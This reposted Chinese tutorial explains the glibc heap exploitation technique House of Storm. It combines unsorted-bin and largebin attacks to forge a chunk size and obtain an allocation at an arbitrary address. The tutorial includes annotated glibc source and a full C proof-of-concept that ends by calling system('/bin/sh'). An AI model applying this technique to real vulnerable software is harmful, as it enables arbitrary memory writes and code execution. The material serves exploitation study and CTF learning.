【技术分享】House of storm 原理及利用

admin 2022年5月16日01:11:37评论23 views字数 5014阅读16分42秒阅读模式

【技术分享】House of storm 原理及利用

1
漏洞产生条件及危害

House_of_storm是一种结合了unsorted_bin_attackLargebin_attack的攻击技术,其基本原理和Largebin_attack类似,但是不同的是Largebin_attack只可以在任意地址写出chunk地址实际应用中除了泄漏一个堆地址并没有什么其他用处,所以其基本无害。而House_of_storm则可以导致任意地址分配chunk,也就是可以造成任意地址写的后果,危害十分之大。House_of_storm虽然危害之大,但是其条件也是非常的苛刻。
漏洞利用条件:
1.需要攻击者在
largebinunsorted_bin中分别布置一个chunk 这两个chunk需要在归位之后处于同一个largebin的index中且unsortedbin中的chunk要比largebin中的大
2.需要
unsorted_bin中的bk指针可控
3.需要
largebin中的bk指针和bk_nextsize指针可控

相较于Largebin_attack来说 攻击需要的条件多出了一条“unsorted_bin中的bk指针可控” 但是基本上程序如果Largebin_attack条件满足 基本代表存在UAF漏洞 那么多控制一个bk指针应该也不是什么难事..

1
原理及源码分析

这里仅对漏洞出现的部分源码进行解释 详细的可以翻看我的Largebin_attack详解

漏洞出现在 将一个large_chunk准备从unsortedbin中归位到large_bin的过程中

代码背景介绍: 攻击者在Large_bin中已经布置好了chunk 在上文中该chunk被变量fwd指代,需要插入的chunk用变量victim指代
为了让源码更易读 将需要插入的chunk用unsorted_bin来指代 将在large_bin中的chunk用large_bin来指代
现在假设攻击者设置 large_bin->bk=stack1 large_bin->bk_nextsize=stack2


else
{
// unsorted_bin->fd_nextsize = large_bin;
victim->fd_nextsize = fwd;
// unsorted_bin->bk_nextsize = stack2;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
// stack2 = unsorted_bin;
fwd->bk_nextsize = victim;
// stack2->fd_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
// bck=stack1;
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
...
mark_bin (av, victim_index);
// unsorted_bin->bk = stack1;
victim->bk = bck;
// unsorted_bin->fd = large_bin;
victim->fd = fwd;
// stack2 = victim;
fwd->bk = victim;
// stack->fd = unsorted_bin;
bck->fd = victim;

以上的代码其实就是造成Largebin_attack的原因—能造成两次任意地址写堆地址 House_of_storm从根本上也是写堆地址,但是攻击者可以利用巧妙的构造把这个堆地址伪造成size字段

通过以前的知识可以知道unsorted_bin_attack的攻击是需要在对应地址伪造一个chunk结构出来的,而这个伪造出来的chunk结构最重要的就是这个size字段,因为只有首先有了size字段Glibc才会确认这是个chunk结构 才会有后续的验证。

但是目前的情况因为我们不能去对应的地址伪造chunk(废话…你都能去目标地址伪造chunk了..任意地址写还有啥意义..直接写不就好了),那么首要目标就是利用Largebin_attack在目标地址-8的位置上写出来一个size,其次就是对Glibc检验的绕过。明确了任务 下面就配合实例来具体讲解一下怎么构造

1
实例

这里先直接给出完整利用的代码 后续再拆开进行分块分析

// gcc -ggdb -fpie -pie -o house_of_storm house_of_storm.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct {
char chunk_head[0x10];
char content[0x10];
}fake;

int main(void)
{
unsigned long *large_bin,*unsorted_bin;
unsigned long *fake_chunk;
char *ptr;

unsorted_bin=malloc(0x418);
malloc(0X18);
large_bin=malloc(0x408);
malloc(0x18);

free(large_bin);
free(unsorted_bin);
unsorted_bin=malloc(0x418);
free(unsorted_bin);

fake_chunk=((unsigned long)fake.content)-0x10;
unsorted_bin[0]=0;
unsorted_bin[1]=(unsigned long)fake_chunk;

large_bin[0]=0;
large_bin[1]=(unsigned long)fake_chunk+8;
large_bin[2]=0;
large_bin[3]=(unsigned long)fake_chunk-0x18-5;

ptr=malloc(0x48);
strncpy(ptr, "/bin/sh", 0x48 - 1);
system(fake.content);
}

struct {
char chunk_head[0x10];
char content[0x10];
}fake;

这里我为了方便,就直接使用结构体来设置一个随机地址。当然,使用栈上的空间也是可行的。

unsigned long *large_bin,*unsorted_bin;
unsigned long *fake_chunk;
char *ptr;

unsorted_bin=malloc(0x418);
malloc(0X18);
large_bin=malloc(0x408);
malloc(0x18);

free(large_bin);
free(unsorted_bin);
unsorted_bin=malloc(0x418);
free(unsorted_bin);

这一部分主要是变量定义,以及后续的malloc两个large_chunk的操作 最后让两个chunk达成利用条件 即一个large_chunk在large_bin中(chunk large_bin)和一个large_chunk在unsorted_bin中(chunk unsorted_bin)

fake_chunk=((unsigned long)fake.content)-0x10;
unsorted_bin[0]=0;
unsorted_bin[1]=(unsigned long)fake_chunk;

large_bin[0]=0;
large_bin[1]=(unsigned long)fake_chunk+8;
large_bin[2]=0;
large_bin[3]=(unsigned long)fake_chunk-0x18-5;

这一段代码就是在模拟攻击者控制各个指针的值了,这里可能会有很多人迷惑:为什么large_bin[3]=(unsigned long)fake_chunk-0x18-5;,即控制large_bin->bk_nextsize=(unsigned long)fake_chunk-0x18-5;.其实这一步就是House_of_storm的精髓所在——伪造size,下面我们来借助源码分析下究竟这样设置会发生什么样的奇妙反应。

还是上面的那段源码 我们拿过来

else
{
// unsorted_bin->fd_nextsize=large_bin;
victim->fd_nextsize = fwd;
// unsorted_bin->bk_nextsize=fake_chunk-0x18-5;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
// fake_chunk-0x18-5=unsorted_bin;
fwd->bk_nextsize = victim;
// fake_chunk-0x18+0x18-5=victim;
victim->bk_nextsize->fd_nextsize = victim;
}
// bck=fake_chunk+8
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
...
mark_bin (av, victim_index);
// unsorted_bin->bk=fake_chunk+8
victim->bk=bck;
// unsorted_bin->fd=large_bin;
victim->fd = fwd;
// fake_chunk+8=victim;
fwd->bk = victim;
// fake_chunk+8-8=victim;
bck->fd = victim;

这段代码中构造最为巧妙的是这部分

// fake_chunk-0x18+0x18-5=victim;
victim->bk_nextsize->fd_nextsize = victim;

如果在程序开启PIE的情况下,堆地址的开头通常是0x55或者0x56开头,且我们的堆地址永远都是6个字节,且如果是小端存储的话..减去五个字节,剩下的就是0x55了。如果提前5个字节开始写堆地址,那么伪造在size字段上面的就正好是0x55!至此,攻击者伪造chunk的目的已经达到了。如果后续再申请堆块时,通过对齐使0x55对齐之后和攻击者申请的size正好相同的话,就可以在任意地址上申请出来一个chunk,也就可以达成后续的任意地址写操作。

ptr=malloc(0x48);
strncpy(ptr, "/bin/sh", 0x48 - 1);
system(fake.content);

后续这段就是在验证攻击是否完成了。当成功申请到chunk的时候,攻击者正好可以拿到结构体中的content字段 我们利用申请的chunk进行赋值 用结构体来执行命令验证确实是同一个地址

最后的执行截图

【技术分享】House of storm 原理及利用

至于为什么会出现这个段错误(核心已转储) 其实就是这次执行的时候堆的起始地址是从0x56…开始的 也就是chunk不匹配了 程序就直接crash了..


后记

其实这也是我琢磨了看了很久源码才理解出来的 其中肯定有一些不成熟的想法和错误的理论 欢迎各位师傅们斧正。

【技术分享】House of storm 原理及利用

- 结尾 -
精彩推荐
【技术分享】一道pwn题带来的新思路 — 从unsorted bin attack 到 large bin attack
【技术分享】聊一聊bypass information_schema
【技术分享】使用unicorn engin还原Armariris字符串混淆

【技术分享】House of storm 原理及利用
戳“阅读原文”查看更多内容

原文始发于微信公众号(安全客):【技术分享】House of storm 原理及利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月16日01:11:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术分享】House of storm 原理及利用http://cn-sec.com/archives/1004425.html

发表评论

匿名网友 填写信息